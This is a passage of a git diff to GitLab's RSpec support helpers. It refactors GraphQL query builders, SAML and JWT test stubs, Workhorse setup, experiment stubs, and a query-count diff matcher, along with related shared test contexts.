# Recursively convert a Hash with Ruby-style keys to GraphQL fieldname-style keys
@@ -165,10 +192,32 @@ module GraphqlHelpers
end
def query_graphql_field(name, attributes = {}, fields = nil)
- <<~QUERY
- #{field_with_params(name, attributes)}
- #{wrap_fields(fields || all_graphql_fields_for(name.to_s.classify))}
- QUERY
+ attributes, fields = [nil, attributes] if fields.nil? && !attributes.is_a?(Hash)
+
+ field = field_with_params(name, attributes)
+
+ field + wrap_fields(fields || all_graphql_fields_for(name.to_s.classify)).to_s
+ end
+
+ def page_info_selection
+ "pageInfo { hasNextPage hasPreviousPage endCursor startCursor }"
+ end
+
+ def query_nodes(name, fields = nil, args: nil, of: name, include_pagination_info: false, max_depth: 1)
+ fields ||= all_graphql_fields_for(of.to_s.classify, max_depth: max_depth)
+ node_selection = include_pagination_info ? "#{page_info_selection} nodes" : :nodes
+ query_graphql_path([[name, args], node_selection], fields)
+ end
+
+ # e.g:
+ # query_graphql_path(%i[foo bar baz], all_graphql_fields_for('Baz'))
+ # => foo { bar { baz { x y z } } }
+ def query_graphql_path(segments, fields = nil)
+ # we really want foldr here...
+ segments.reverse.reduce(fields) do |tail, segment|
+ name, args = Array.wrap(segment)
+ query_graphql_field(name, args, tail)
+ end
end
def wrap_fields(fields)
@@ -203,50 +252,22 @@ module GraphqlHelpers
type = GitlabSchema.types[class_name.to_s]
return "" unless type
- type.fields.map do |name, field|
- # We can't guess arguments, so skip fields that require them
- next if required_arguments?(field)
- next if excluded.include?(name)
-
- singular_field_type = field_type(field)
-
- # If field type is the same as parent type, then we're hitting into
- # mutual dependency. Break it from infinite recursion
- next if parent_types.include?(singular_field_type)
+ # We can't guess arguments, so skip fields that require them
+ skip = ->(name, field) { excluded.include?(name) || required_arguments?(field) }
- if nested_fields?(field)
- fields =
- all_graphql_fields_for(singular_field_type, parent_types | [type], max_depth: max_depth - 1)
-
- "#{name} { #{fields} }" unless fields.blank?
- else
- name
- end
- end.compact.join("\n")
+ ::Graphql::FieldSelection.select_fields(type, skip, parent_types, max_depth)
end
- def attributes_to_graphql(attributes)
- attributes.map do |name, value|
- value_str = as_graphql_literal(value)
+ def with_signature(variables, query)
+ %Q[query(#{variables.map(&:sig).join(', ')}) #{query}]
+ end
- "#{GraphqlHelpers.fieldnamerize(name.to_s)}: #{value_str}"
- end.join(", ")
+ def var(type)
+ ::Graphql::Var.new(generate(:variable), type)
end
- # Fairly dumb Ruby => GraphQL rendering function. Only suitable for testing.
- # Use symbol for Enum values
- def as_graphql_literal(value)
- case value
- when Array then "[#{value.map { |v| as_graphql_literal(v) }.join(',')}]"
- when Hash then "{#{attributes_to_graphql(value)}}"
- when Integer, Float then value.to_s
- when String then "\"#{value.gsub(/"/, '\\"')}\""
- when Symbol then value
- when nil then 'null'
- when true then 'true'
- when false then 'false'
- else raise ArgumentError, "Cannot represent #{value} as GraphQL literal"
- end
+ def attributes_to_graphql(arguments)
+ ::Graphql::Arguments.new(arguments).to_s
end
def post_multiplex(queries, current_user: nil, headers: {})
@@ -254,7 +275,7 @@ module GraphqlHelpers
end
def post_graphql(query, current_user: nil, variables: nil, headers: {})
- params = { query: query, variables: variables&.to_json }
+ params = { query: query, variables: serialize_variables(variables) }
post api('/', current_user, version: 'graphql'), params: params, headers: headers
end
@@ -320,36 +341,47 @@ module GraphqlHelpers
{ operations: operations.to_json, map: map.to_json }.merge(extracted_files)
end
+ def fresh_response_data
+ Gitlab::Json.parse(response.body)
+ end
+
# Raises an error if no data is found
- def graphql_data
+ def graphql_data(body = json_response)
# Note that `json_response` is defined as `let(:json_response)` and
# therefore, in a spec with multiple queries, will only contain data
# from the _first_ query, not subsequent ones
- json_response['data'] || (raise NoData, graphql_errors)
+ body['data'] || (raise NoData, graphql_errors(body))
end
def graphql_data_at(*path)
graphql_dig_at(graphql_data, *path)
end
+ # Slightly more powerful than just `dig`:
+ # - also supports implicit flat-mapping (.e.g. :foo :nodes :bar :nodes)
def graphql_dig_at(data, *path)
keys = path.map { |segment| segment.is_a?(Integer) ? segment : GraphqlHelpers.fieldnamerize(segment) }
# Allows for array indexing, like this
# ['project', 'boards', 'edges', 0, 'node', 'lists']
keys.reduce(data) do |memo, key|
- memo.is_a?(Array) ? memo[key] : memo&.dig(key)
+ if memo.is_a?(Array)
+ key.is_a?(Integer) ? memo[key] : memo.flat_map { |e| Array.wrap(e[key]) }
+ else
+ memo&.dig(key)
+ end
end
end
- def graphql_errors
- case json_response
+ # See note at graphql_data about memoization and multiple requests
+ def graphql_errors(body = json_response)
+ case body
when Hash # regular query
- json_response['errors']
+ body['errors']
when Array # multiplexed queries
- json_response.map { |response| response['errors'] }
+ body.map { |response| response['errors'] }
else
- raise "Unknown GraphQL response type #{json_response.class}"
+ raise "Unknown GraphQL response type #{body.class}"
end
end
@@ -392,19 +424,29 @@ module GraphqlHelpers
end
def nested_fields?(field)
- !scalar?(field) && !enum?(field)
+ ::Graphql::FieldInspection.new(field).nested_fields?
end
def scalar?(field)
- field_type(field).kind.scalar?
+ ::Graphql::FieldInspection.new(field).scalar?
end
def enum?(field)
- field_type(field).kind.enum?
+ ::Graphql::FieldInspection.new(field).enum?
end
+ # There are a few non BaseField fields in our schema (pageInfo for one).
+ # None of them require arguments.
def required_arguments?(field)
- field.arguments.values.any? { |argument| argument.type.non_null? }
+ return field.requires_argument? if field.is_a?(::Types::BaseField)
+
+ if (meta = field.try(:metadata)) && meta[:type_class]
+ required_arguments?(meta[:type_class])
+ elsif args = field.try(:arguments)
+ args.values.any? { |argument| argument.type.non_null? }
+ else
+ false
+ end
end
def io_value?(value)
@@ -412,15 +454,7 @@ module GraphqlHelpers
end
def field_type(field)
- field_type = field.type.respond_to?(:to_graphql) ? field.type.to_graphql : field.type
-
- # The type could be nested. For example `[GraphQL::STRING_TYPE]`:
- # - List
- # - String!
- # - String
- field_type = field_type.of_type while field_type.respond_to?(:of_type)
-
- field_type
+ ::Graphql::FieldInspection.new(field).type
end
# for most tests, we want to allow unlimited complexity
@@ -498,6 +532,20 @@ module GraphqlHelpers
variables: {}
)
end
+
+ # A lookahead that selects everything
+ def positive_lookahead
+ double(selects?: true).tap do |selection|
+ allow(selection).to receive(:selection).and_return(selection)
+ end
+ end
+
+ # A lookahead that selects nothing
+ def negative_lookahead
+ double(selects?: false).tap do |selection|
+ allow(selection).to receive(:selection).and_return(selection)
+ end
+ end
end
# This warms our schema, doing this as part of loading the helpers to avoid
diff --git a/spec/support/helpers/login_helpers.rb b/spec/support/helpers/login_helpers.rb
index e21d4497cda..86022e16d71 100644
--- a/spec/support/helpers/login_helpers.rb
+++ b/spec/support/helpers/login_helpers.rb
@@ -138,13 +138,15 @@ module LoginHelpers
secret: 'mock_secret'
},
extra: {
- raw_info: {
- info: {
- name: 'mockuser',
- email: email,
- image: 'mock_user_thumbnail_url'
+ raw_info: OneLogin::RubySaml::Attributes.new(
+ {
+ info: {
+ name: 'mockuser',
+ email: email,
+ image: 'mock_user_thumbnail_url'
+ }
}
- },
+ ),
response_object: response_object
}
}).merge(additional_info) { |_, old_hash, new_hash| old_hash.merge(new_hash) }
@@ -198,7 +200,7 @@ module LoginHelpers
env['omniauth.error.strategy'] = strategy
end
- def stub_omniauth_saml_config(messages, context: Rails.application)
+ def stub_omniauth_saml_config(context: Rails.application, **messages)
set_devise_mapping(context: context)
routes = Rails.application.routes
routes.disable_clear_and_finalize = true
diff --git a/spec/support/helpers/multipart_helpers.rb b/spec/support/helpers/multipart_helpers.rb
index 2e8db0e9e42..bcb184f84c5 100644
--- a/spec/support/helpers/multipart_helpers.rb
+++ b/spec/support/helpers/multipart_helpers.rb
@@ -37,7 +37,7 @@ module MultipartHelpers
# *without* the "#{key}." prefix
result.deep_transform_keys! { |k| k.remove("#{key}.") }
{
- "#{key}.gitlab-workhorse-upload" => jwt_token('upload' => result)
+ "#{key}.gitlab-workhorse-upload" => jwt_token(data: { 'upload' => result })
}
end
diff --git a/spec/support/helpers/next_instance_of.rb b/spec/support/helpers/next_instance_of.rb
index 83c788c3d38..a8e9ab2bafe 100644
--- a/spec/support/helpers/next_instance_of.rb
+++ b/spec/support/helpers/next_instance_of.rb
@@ -1,28 +1,31 @@
# frozen_string_literal: true
module NextInstanceOf
- def expect_next_instance_of(klass, *new_args)
- stub_new(expect(klass), *new_args) do |expectation|
- yield(expectation)
- end
+ def expect_next_instance_of(klass, *new_args, &blk)
+ stub_new(expect(klass), nil, *new_args, &blk)
end
- def allow_next_instance_of(klass, *new_args)
- stub_new(allow(klass), *new_args) do |allowance|
- yield(allowance)
- end
+ def expect_next_instances_of(klass, number, *new_args, &blk)
+ stub_new(expect(klass), number, *new_args, &blk)
+ end
+
+ def allow_next_instance_of(klass, *new_args, &blk)
+ stub_new(allow(klass), nil, *new_args, &blk)
+ end
+
+ def allow_next_instances_of(klass, number, *new_args, &blk)
+ stub_new(allow(klass), number, *new_args, &blk)
end
private
- def stub_new(target, *new_args)
+ def stub_new(target, number, *new_args, &blk)
receive_new = receive(:new)
+ receive_new.exactly(number).times if number
receive_new.with(*new_args) if new_args.any?
target.to receive_new.and_wrap_original do |method, *original_args|
- method.call(*original_args).tap do |instance|
- yield(instance)
- end
+ method.call(*original_args).tap(&blk)
end
end
end
diff --git a/spec/support/helpers/services_helper.rb b/spec/support/helpers/services_helper.rb
new file mode 100644
index 00000000000..bf007815551
--- /dev/null
+++ b/spec/support/helpers/services_helper.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+require_relative './after_next_helpers'
+
+module ServicesHelper
+ include AfterNextHelpers
+
+ def expect_execution_of(service_class, *args)
+ expect_next(service_class, *args).to receive(:execute)
+ end
+end
diff --git a/spec/support/helpers/snowplow_helpers.rb b/spec/support/helpers/snowplow_helpers.rb
index 15eac1b24fc..70a4eadd8de 100644
--- a/spec/support/helpers/snowplow_helpers.rb
+++ b/spec/support/helpers/snowplow_helpers.rb
@@ -31,7 +31,31 @@ module SnowplowHelpers
# )
# end
# end
- def expect_snowplow_event(category:, action:, **kwargs)
+ #
+ # Passing context:
+ #
+ # Simply provide a hash that has the schema and data expected.
+ #
+ # expect_snowplow_event(
+ # category: 'Experiment',
+ # action: 'created',
+ # context: [
+ # {
+ # schema: 'iglu:com.gitlab/.../0-3-0',
+ # data: { key: 'value' }
+ # }
+ # ]
+ # )
+ def expect_snowplow_event(category:, action:, context: nil, **kwargs)
+ if context
+ kwargs[:context] = []
+ context.each do |c|
+ expect(SnowplowTracker::SelfDescribingJson).to have_received(:new)
+ .with(c[:schema], c[:data]).at_least(:once)
+ kwargs[:context] << an_instance_of(SnowplowTracker::SelfDescribingJson)
+ end
+ end
+
expect(Gitlab::Tracking).to have_received(:event) # rubocop:disable RSpec/ExpectGitlabTracking
.with(category, action, **kwargs).at_least(:once)
end
diff --git a/spec/support/helpers/stub_experiments.rb b/spec/support/helpers/stub_experiments.rb
index 7a6154d5ef9..247692d83ee 100644
--- a/spec/support/helpers/stub_experiments.rb
+++ b/spec/support/helpers/stub_experiments.rb
@@ -3,15 +3,15 @@
module StubExperiments
# Stub Experiment with `key: true/false`
#
- # @param [Hash] experiment where key is feature name and value is boolean whether enabled or not.
+ # @param [Hash] experiment where key is feature name and value is boolean whether active or not.
#
# Examples
- # - `stub_experiment(signup_flow: false)` ... Disable `signup_flow` experiment globally.
+ # - `stub_experiment(signup_flow: false)` ... Disables `signup_flow` experiment.
def stub_experiment(experiments)
- allow(Gitlab::Experimentation).to receive(:enabled?).and_call_original
+ allow(Gitlab::Experimentation).to receive(:active?).and_call_original
experiments.each do |experiment_key, enabled|
- allow(Gitlab::Experimentation).to receive(:enabled?).with(experiment_key) { enabled }
+ allow(Gitlab::Experimentation).to receive(:active?).with(experiment_key) { enabled }
end
end
@@ -20,12 +20,12 @@ module StubExperiments
# @param [Hash] experiment where key is feature name and value is boolean whether enabled or not.
#
# Examples
- # - `stub_experiment_for_user(signup_flow: false)` ... Disable `signup_flow` experiment for user.
- def stub_experiment_for_user(experiments)
- allow(Gitlab::Experimentation).to receive(:enabled_for_value?).and_call_original
+ # - `stub_experiment_for_subject(signup_flow: false)` ... Disable `signup_flow` experiment for user.
+ def stub_experiment_for_subject(experiments)
+ allow(Gitlab::Experimentation).to receive(:in_experiment_group?).and_call_original
experiments.each do |experiment_key, enabled|
- allow(Gitlab::Experimentation).to receive(:enabled_for_value?).with(experiment_key, anything) { enabled }
+ allow(Gitlab::Experimentation).to receive(:in_experiment_group?).with(experiment_key, anything) { enabled }
end
end
end
diff --git a/spec/support/helpers/stub_object_storage.rb b/spec/support/helpers/stub_object_storage.rb
index dba3d2b137e..dc54a21d0fa 100644
--- a/spec/support/helpers/stub_object_storage.rb
+++ b/spec/support/helpers/stub_object_storage.rb
@@ -22,6 +22,16 @@ module StubObjectStorage
background_upload: false,
direct_upload: false
)
+ new_config = config.to_h.deep_symbolize_keys.merge({
+ enabled: enabled,
+ proxy_download: proxy_download,
+ background_upload: background_upload,
+ direct_upload: direct_upload
+ })
+
+ # Needed for ObjectStorage::Config compatibility
+ allow(config).to receive(:to_hash).and_return(new_config)
+ allow(config).to receive(:to_h).and_return(new_config)
allow(config).to receive(:enabled) { enabled }
allow(config).to receive(:proxy_download) { proxy_download }
allow(config).to receive(:background_upload) { background_upload }
@@ -84,13 +94,6 @@ module StubObjectStorage
def stub_terraform_state_object_storage(**params)
stub_object_storage_uploader(config: Gitlab.config.terraform_state.object_store,
- uploader: Terraform::VersionedStateUploader,
- remote_directory: 'terraform',
- **params)
- end
-
- def stub_terraform_state_version_object_storage(**params)
- stub_object_storage_uploader(config: Gitlab.config.terraform_state.object_store,
uploader: Terraform::StateUploader,
remote_directory: 'terraform',
**params)
diff --git a/spec/support/helpers/test_env.rb b/spec/support/helpers/test_env.rb
index 4c78ca0117c..01571277a1d 100644
--- a/spec/support/helpers/test_env.rb
+++ b/spec/support/helpers/test_env.rb
@@ -168,6 +168,11 @@ module TestEnv
version: Gitlab::GitalyClient.expected_server_version,
task: "gitlab:gitaly:install[#{install_gitaly_args}]") do
Gitlab::SetupHelper::Gitaly.create_configuration(gitaly_dir, { 'default' => repos_path }, force: true)
+ Gitlab::SetupHelper::Gitaly.create_configuration(
+ gitaly_dir,
+ { 'default' => repos_path }, force: true,
+ options: { gitaly_socket: "gitaly2.socket", config_filename: "gitaly2.config.toml" }
+ )
Gitlab::SetupHelper::Praefect.create_configuration(gitaly_dir, { 'praefect' => repos_path }, force: true)
end
@@ -241,15 +246,38 @@ module TestEnv
end
def setup_workhorse
- install_workhorse_args = [workhorse_dir, workhorse_url].compact.join(',')
-
- component_timed_setup(
- 'GitLab Workhorse',
- install_dir: workhorse_dir,
- version: Gitlab::Workhorse.version,
- task: "gitlab:workhorse:install[#{install_workhorse_args}]") do
- Gitlab::SetupHelper::Workhorse.create_configuration(workhorse_dir, nil)
- end
+ start = Time.now
+ return if skip_compile_workhorse?
+
+ puts "\n==> Setting up GitLab Workhorse..."
+
+ FileUtils.rm_rf(workhorse_dir)
+ Gitlab::SetupHelper::Workhorse.compile_into(workhorse_dir)
+ Gitlab::SetupHelper::Workhorse.create_configuration(workhorse_dir, nil)
+
+ File.write(workhorse_tree_file, workhorse_tree) if workhorse_source_clean?
+
+ puts " GitLab Workhorse set up in #{Time.now - start} seconds...\n"
+ end
+
+ def skip_compile_workhorse?
+ File.directory?(workhorse_dir) &&
+ workhorse_source_clean? &&
+ File.exist?(workhorse_tree_file) &&
+ workhorse_tree == File.read(workhorse_tree_file)
+ end
+
+ def workhorse_source_clean?
+ out = IO.popen(%w[git status --porcelain workhorse], &:read)
+ $?.success? && out.empty?
+ end
+
+ def workhorse_tree
+ IO.popen(%w[git rev-parse HEAD:workhorse], &:read)
+ end
+
+ def workhorse_tree_file
+ File.join(workhorse_dir, 'WORKHORSE_TREE')
end
def workhorse_dir
@@ -260,7 +288,7 @@ module TestEnv
host = "[#{host}]" if host.include?(':')
listen_addr = [host, port].join(':')
- config_path = Gitlab::SetupHelper::Workhorse.get_config_path(workhorse_dir)
+ config_path = Gitlab::SetupHelper::Workhorse.get_config_path(workhorse_dir, {})
# This should be set up in setup_workhorse, but since
# component_needs_update? only checks that versions are consistent,
diff --git a/spec/support/helpers/usage_data_helpers.rb b/spec/support/helpers/usage_data_helpers.rb
index 8e8aeea2ea1..df79049123d 100644
--- a/spec/support/helpers/usage_data_helpers.rb
+++ b/spec/support/helpers/usage_data_helpers.rb
@@ -85,6 +85,7 @@ module UsageDataHelpers
projects
projects_imported_from_github
projects_asana_active
+ projects_jenkins_active
projects_jira_active
projects_jira_server_active
projects_jira_cloud_active
@@ -161,7 +162,6 @@ module UsageDataHelpers
git
gitaly
database
- avg_cycle_analytics
prometheus_metrics_enabled
web_ide_clientside_preview_enabled
ingress_modsecurity_enabled
diff --git a/spec/support/helpers/workhorse_helpers.rb b/spec/support/helpers/workhorse_helpers.rb
index 7e95f49aea2..cd8387de686 100644
--- a/spec/support/helpers/workhorse_helpers.rb
+++ b/spec/support/helpers/workhorse_helpers.rb
@@ -85,15 +85,15 @@ module WorkhorseHelpers
return {} if upload_params.empty?
- { "#{key}.gitlab-workhorse-upload" => jwt_token('upload' => upload_params) }
+ { "#{key}.gitlab-workhorse-upload" => jwt_token(data: { 'upload' => upload_params }) }
end
- def jwt_token(data = {}, issuer: 'gitlab-workhorse', secret: Gitlab::Workhorse.secret, algorithm: 'HS256')
+ def jwt_token(data: {}, issuer: 'gitlab-workhorse', secret: Gitlab::Workhorse.secret, algorithm: 'HS256')
JWT.encode({ 'iss' => issuer }.merge(data), secret, algorithm)
end
def workhorse_rewritten_fields_header(fields)
- { Gitlab::Middleware::Multipart::RACK_ENV_KEY => jwt_token('rewritten_fields' => fields) }
+ { Gitlab::Middleware::Multipart::RACK_ENV_KEY => jwt_token(data: { 'rewritten_fields' => fields }) }
end
def workhorse_disk_accelerated_file_params(key, file)
diff --git a/spec/support/import_export/common_util.rb b/spec/support/import_export/common_util.rb
index ae951ea35af..a6b395ad4d5 100644
--- a/spec/support/import_export/common_util.rb
+++ b/spec/support/import_export/common_util.rb
@@ -70,9 +70,12 @@ module ImportExport
)
end
- def get_shared_env(path:)
+ def get_shared_env(path:, logger: nil)
+ logger ||= double(info: true, warn: true, error: true)
+
instance_double(Gitlab::ImportExport::Shared).tap do |shared|
allow(shared).to receive(:export_path).and_return(path)
+ allow(shared).to receive(:logger).and_return(logger)
end
end
diff --git a/spec/support/matchers/access_matchers.rb b/spec/support/matchers/access_matchers.rb
index c9ff777f604..acf5fb0944f 100644
--- a/spec/support/matchers/access_matchers.rb
+++ b/spec/support/matchers/access_matchers.rb
@@ -52,7 +52,7 @@ module AccessMatchers
emulate_user(user, @membership)
visit(url)
- status_code == 200 && current_path != new_user_session_path
+ status_code == 200 && !current_path.in?([new_user_session_path, new_admin_session_path])
end
chain :of do |membership|
@@ -67,7 +67,7 @@ module AccessMatchers
emulate_user(user, @membership)
visit(url)
- [401, 404].include?(status_code) || current_path == new_user_session_path
+ [401, 404, 403].include?(status_code) || current_path.in?([new_user_session_path, new_admin_session_path])
end
chain :of do |membership|
diff --git a/spec/support/matchers/be_valid_json.rb b/spec/support/matchers/be_valid_json.rb
new file mode 100644
index 00000000000..f46c35c7198
--- /dev/null
+++ b/spec/support/matchers/be_valid_json.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+RSpec::Matchers.define :be_valid_json do
+ def according_to_schema(schema)
+ @schema = schema
+ self
+ end
+
+ match do |actual|
+ data = Gitlab::Json.parse(actual)
+
+ if @schema.present?
+ @validation_errors = JSON::Validator.fully_validate(@schema, data)
+ @validation_errors.empty?
+ else
+ data.present?
+ end
+ rescue JSON::ParserError => e
+ @error = e
+ false
+ end
+
+ def failure_message
+ if @error
+ "Parse failed with error: #{@error}"
+ elsif @validation_errors.present?
+ "Validation failed because #{@validation_errors.join(', and ')}"
+ else
+ "Parsing did not return any data"
+ end
+ end
+end
diff --git a/spec/support/matchers/exceed_query_limit.rb b/spec/support/matchers/exceed_query_limit.rb
index 04482d3bfb8..7a66eff3a41 100644
--- a/spec/support/matchers/exceed_query_limit.rb
+++ b/spec/support/matchers/exceed_query_limit.rb
@@ -3,6 +3,13 @@
module ExceedQueryLimitHelpers
MARGINALIA_ANNOTATION_REGEX = %r{\s*\/\*.*\*\/}.freeze
+ DB_QUERY_RE = Regexp.union([
+ /^(?<prefix>SELECT .* FROM "?[a-z_]+"?) (?<suffix>.*)$/m,
+ /^(?<prefix>UPDATE "?[a-z_]+"?) (?<suffix>.*)$/m,
+ /^(?<prefix>INSERT INTO "[a-z_]+" \((?:"[a-z_]+",?\s?)+\)) (?<suffix>.*)$/m,
+ /^(?<prefix>DELETE FROM "[a-z_]+") (?<suffix>.*)$/m
+ ]).freeze
+
def with_threshold(threshold)
@threshold = threshold
self
@@ -13,41 +20,129 @@ module ExceedQueryLimitHelpers
self
end
+ def show_common_queries
+ @show_common_queries = true
+ self
+ end
+
+ def ignoring(pattern)
+ @ignoring_pattern = pattern
+ self
+ end
+
def threshold
@threshold.to_i
end
def expected_count
if expected.is_a?(ActiveRecord::QueryRecorder)
- expected.count
+ query_recorder_count(expected)
else
expected
end
end
def actual_count
- @actual_count ||= if @query
- recorder.log.select { |recorded| recorded =~ @query }.size
- else
- recorder.count
- end
+ @actual_count ||= query_recorder_count(recorder)
+ end
+
+ def query_recorder_count(query_recorder)
+ return query_recorder.count unless @query || @ignoring_pattern
+
+ query_log(query_recorder).size
+ end
+
+ def query_log(query_recorder)
+ filtered = query_recorder.log
+ filtered = filtered.select { |q| q =~ @query } if @query
+ filtered = filtered.reject { |q| q =~ @ignoring_pattern } if @ignoring_pattern
+ filtered
end
def recorder
@recorder ||= ActiveRecord::QueryRecorder.new(skip_cached: skip_cached, &@subject_block)
end
- def count_queries(queries)
- queries.each_with_object(Hash.new(0)) { |query, counts| counts[query] += 1 }
+ # Take a query recorder and tabulate the frequencies of suffixes for each prefix.
+ #
+ # @return Hash[String, Hash[String, Int]]
+ #
+ # Example:
+ #
+ # r = ActiveRecord::QueryRecorder.new do
+ # SomeTable.create(x: 1, y: 2, z: 3)
+ # SomeOtherTable.where(id: 1).first
+ # SomeTable.create(x: 4, y: 5, z: 6)
+ # SomeOtherTable.all
+ # end
+ # count_queries(r)
+ # #=>
+ # {
+ # 'INSERT INTO "some_table" VALUES' => {
+ # '(1,2,3)' => 1,
+ # '(4,5,6)' => 1
+ # },
+ # 'SELECT * FROM "some_other_table"' => {
+ # 'WHERE id = 1 LIMIT 1' => 1,
+ # '' => 2
+ # }
+ # }
+ def count_queries(query_recorder)
+ strip_marginalia_annotations(query_log(query_recorder))
+ .map { |q| query_group_key(q) }
+ .group_by { |k| k[:prefix] }
+ .transform_values { |keys| frequencies(:suffix, keys) }
+ end
+
+ def frequencies(key, things)
+ things.group_by { |x| x[key] }.transform_values(&:size)
+ end
+
+ def query_group_key(query)
+ DB_QUERY_RE.match(query) || { prefix: query, suffix: '' }
+ end
+
+ def diff_query_counts(expected, actual)
+ expected_counts = expected.transform_values do |suffixes|
+ suffixes.transform_values { |n| [n, 0] }
+ end
+ recorded_counts = actual.transform_values do |suffixes|
+ suffixes.transform_values { |n| [0, n] }
+ end
+
+ combined_counts = expected_counts.merge(recorded_counts) do |_k, exp, got|
+ exp.merge(got) do |_k, exp_counts, got_counts|
+ exp_counts.zip(got_counts).map { |a, b| a + b }
+ end
+ end
+
+ unless @show_common_queries
+ combined_counts = combined_counts.transform_values do |suffs|
+ suffs.reject { |_k, counts| counts.first == counts.second }
+ end
+ end
+
+ combined_counts.reject { |_prefix, suffs| suffs.empty? }
+ end
+
+ def diff_query_group_message(query, suffixes)
+ suffix_messages = suffixes.map do |s, counts|
+ "-- (expected: #{counts.first}, got: #{counts.second})\n #{s}"
+ end
+
+ "#{query}...\n#{suffix_messages.join("\n")}"
end
def log_message
if expected.is_a?(ActiveRecord::QueryRecorder)
- counts = count_queries(strip_marginalia_annotations(expected.log))
- extra_queries = strip_marginalia_annotations(@recorder.log).reject { |query| counts[query] -= 1 unless counts[query] == 0 }
- extra_queries_display = count_queries(extra_queries).map { |query, count| "[#{count}] #{query}" }
-
- (['Extra queries:'] + extra_queries_display).join("\n\n")
+ diff_counts = diff_query_counts(count_queries(expected), count_queries(@recorder))
+ sections = diff_counts.map { |q, suffixes| diff_query_group_message(q, suffixes) }
+
+ <<~MSG
+ Query Diff:
+ -----------
+ #{sections.join("\n\n")}
+ MSG
else
@recorder.log_message
end
diff --git a/spec/support/services/issuable_import_csv_service_shared_examples.rb b/spec/support/services/issuable_import_csv_service_shared_examples.rb
index 20ac2ff5c7c..f68750bec32 100644
--- a/spec/support/services/issuable_import_csv_service_shared_examples.rb
+++ b/spec/support/services/issuable_import_csv_service_shared_examples.rb
@@ -26,29 +26,33 @@ RSpec.shared_examples 'issuable import csv service' do |issuable_type|
end
end
+ shared_examples_for 'invalid file' do
+ it 'returns invalid file error' do
+ expect(subject[:success]).to eq(0)
+ expect(subject[:parse_error]).to eq(true)
+ end
+
+ it_behaves_like 'importer with email notification'
+ it_behaves_like 'an issuable importer'
+ end
+
describe '#execute' do
- context 'invalid file' do
+ context 'invalid file extension' do
let(:file) { fixture_file_upload('spec/fixtures/banana_sample.gif') }
- it 'returns invalid file error' do
- expect(subject[:success]).to eq(0)
- expect(subject[:parse_error]).to eq(true)
- end
+ it_behaves_like 'invalid file'
+ end
- it_behaves_like 'importer with email notification'
- it_behaves_like 'an issuable importer'
+ context 'empty file' do
+ let(:file) { fixture_file_upload('spec/fixtures/csv_empty.csv') }
+
+ it_behaves_like 'invalid file'
end
context 'file without headers' do
let(:file) { fixture_file_upload('spec/fixtures/csv_no_headers.csv') }
- it 'returns invalid file error' do
- expect(subject[:success]).to eq(0)
- expect(subject[:parse_error]).to eq(true)
- end
-
- it_behaves_like 'importer with email notification'
- it_behaves_like 'an issuable importer'
+ it_behaves_like 'invalid file'
end
context 'with a file generated by Gitlab CSV export' do
diff --git a/spec/support/shared_contexts/finders/group_projects_finder_shared_contexts.rb b/spec/support/shared_contexts/finders/group_projects_finder_shared_contexts.rb
index 68ff16922d8..6b15eadc1c1 100644
--- a/spec/support/shared_contexts/finders/group_projects_finder_shared_contexts.rb
+++ b/spec/support/shared_contexts/finders/group_projects_finder_shared_contexts.rb
@@ -9,13 +9,13 @@ RSpec.shared_context 'GroupProjectsFinder context' do
let(:finder) { described_class.new(group: group, current_user: current_user, params: params, options: options) }
- let_it_be(:public_project) { create(:project, :public, group: group, path: '1') }
- let_it_be(:private_project) { create(:project, :private, group: group, path: '2') }
- let_it_be(:shared_project_1) { create(:project, :public, path: '3') }
- let_it_be(:shared_project_2) { create(:project, :private, path: '4') }
- let_it_be(:shared_project_3) { create(:project, :internal, path: '5') }
- let_it_be(:subgroup_project) { create(:project, :public, path: '6', group: subgroup) }
- let_it_be(:subgroup_private_project) { create(:project, :private, path: '7', group: subgroup) }
+ let_it_be(:public_project) { create(:project, :public, group: group, path: '1', name: 'g') }
+ let_it_be(:private_project) { create(:project, :private, group: group, path: '2', name: 'f') }
+ let_it_be(:shared_project_1) { create(:project, :public, path: '3', name: 'e') }
+ let_it_be(:shared_project_2) { create(:project, :private, path: '4', name: 'd') }
+ let_it_be(:shared_project_3) { create(:project, :internal, path: '5', name: 'c') }
+ let_it_be(:subgroup_project) { create(:project, :public, path: '6', group: subgroup, name: 'b') }
+ let_it_be(:subgroup_private_project) { create(:project, :private, path: '7', group: subgroup, name: 'a') }
before do
shared_project_1.project_group_links.create!(group_access: Gitlab::Access::MAINTAINER, group: group)
diff --git a/spec/support/shared_contexts/finders/merge_requests_finder_shared_contexts.rb b/spec/support/shared_contexts/finders/merge_requests_finder_shared_contexts.rb
index 88c31bf9cfd..4c003dff947 100644
--- a/spec/support/shared_contexts/finders/merge_requests_finder_shared_contexts.rb
+++ b/spec/support/shared_contexts/finders/merge_requests_finder_shared_contexts.rb
@@ -54,19 +54,19 @@ RSpec.shared_context 'MergeRequestsFinder multiple projects with merge requests
let!(:label2) { create(:label, project: project1) }
let!(:merge_request1) do
- create(:merge_request, assignees: [user], author: user,
+ create(:merge_request, assignees: [user], author: user, reviewers: [user2],
source_project: project2, target_project: project1,
target_branch: 'merged-target')
end
let!(:merge_request2) do
- create(:merge_request, :conflict, assignees: [user], author: user,
+ create(:merge_request, :conflict, assignees: [user], author: user, reviewers: [user2],
source_project: project2, target_project: project1,
state: 'closed')
end
let!(:merge_request3) do
- create(:merge_request, :simple, author: user, assignees: [user2],
+ create(:merge_request, :simple, author: user, assignees: [user2], reviewers: [user],
source_project: project2, target_project: project2,
state: 'locked',
title: 'thing WIP thing')
diff --git a/spec/support/shared_contexts/issuable/merge_request_shared_context.rb b/spec/support/shared_contexts/issuable/merge_request_shared_context.rb
index 79fc42e73c7..0fee170a35d 100644
--- a/spec/support/shared_contexts/issuable/merge_request_shared_context.rb
+++ b/spec/support/shared_contexts/issuable/merge_request_shared_context.rb
@@ -1,8 +1,35 @@
# frozen_string_literal: true
-RSpec.shared_context 'merge request show action' do
+RSpec.shared_context 'open merge request show action' do
+ include Spec::Support::Helpers::Features::MergeRequestHelpers
+
+ let(:user) { create(:user) }
+ let(:project) { create(:project, :public, :repository) }
+ let(:note) { create(:note_on_merge_request, project: project, noteable: open_merge_request) }
+
+ let(:open_merge_request) do
+ create(:merge_request, :opened, source_project: project, author: user)
+ end
+
+ before do
+ assign(:project, project)
+ assign(:merge_request, open_merge_request)
+ assign(:note, note)
+ assign(:noteable, open_merge_request)
+ assign(:notes, [])
+ assign(:pipelines, Ci::Pipeline.none)
+ assign(:issuable_sidebar, serialize_issuable_sidebar(user, project, open_merge_request))
+
+ preload_view_requirements(open_merge_request, note)
